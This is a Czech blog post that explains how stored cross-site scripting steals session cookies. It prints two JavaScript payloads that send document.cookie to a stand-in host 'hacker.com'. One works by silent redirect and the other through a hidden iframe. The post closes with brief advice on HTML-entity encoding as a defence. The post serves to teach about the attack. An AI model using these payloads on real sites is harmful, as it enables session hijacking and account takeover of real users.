Většina stránek je zabezpečena tak, že v Cookies je uložené Session ID – Toto SessionID slouží k tomu, aby se uživatel autorizoval před webem a je to nějaký náhodně vygenerovaný kód, který se uloží zároveň na serveru a tyto 2 řetězce se pak porovnávají.
Právě na zcizení této identity uživatele se chci zaměřit v 1. části tohoto blogpostu.
Nejdříve se ale musíme podívat na to jaký kód lze použít ke zcizení uživatelovy cookies a tím pádem i identity:
<script type="text/javascript">
var url = "http://hacker.com/hack.aspx?cookies=" + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href);
location.replace(url);
</script>S tímto kódem, který by si uživatel mohl vložit třeba na svůj profil na nějaké stránce, by vás to přesměrovalo na stránku hack.aspx, společně s vaší cookies a současnou URI – ta by sloužila k tomu aby po zpracování Vaší cookies vás to přesměrovalo zpět. Vy jste tak nejspíš vůbec nic nepoznali.
Protože hacker by použil metodu location.replace, nezaznamenala by se adresa hack.aspx do historie ani do adresního řádku. Nicméně toto není úplně dokonalé, protože by se vám neustále načítala stránka – sotva by se načetla, JS by ji hned přesměroval na hacker.com a ten pak zpátky na váš web.
Jistě, dalo by se tomu zabránit, kdyby hacker dal podmínku vykonávat jeho kód pouze když nebude v adrese uri určitý parametr nebo hash který by tam vložil on.
Proto hackeři vynalezli šikovnější metodu, která funguje stejně, ale nezpůsobuje žádné přesměrování. Její JS kód by vypadal nějak takto:
<script type="text/javascript">
var url = 'http://hacker.com/hack.aspx?cookies=' + encodeURIComponent(document.cookie);
document.body.innerHTML += ' <iframe id="myHackFrame" style="display:none;visibility: collapse;"> </iframe>';
document.getElementById('myHackFrame').src = url; </script>To že má tento iframe css styl display:none; a visibility: collapse; způsobí, že iframe nebude viditelný ani nebude na stránce zabírat žádné místo, ale bude normálně funkční.
Princip je pak stejný jako u přesměrování – spočívá v načtení útočnické stránky, která zpracuje cookies.
Jak tomuto zabránit? 🛡️
Jednoduše ale pracně, musíte do DB ukládat HTML entity místo skutečných znaků, takže nahradit nebezpečné znaky jako <, > nebo & za odpovídající entity <, > nebo &.
Samozřejmě pokud byste chtěli takto pozměněný kód zase zobrazovat v html inputech (například při editaci), bylo by dobré zase html entity převést na skutečné znaky.
Tak a to je všechno. Někdy příště se podíváme na SQL Injection v ASP.NET, kterou jsem se právě začal zabývat.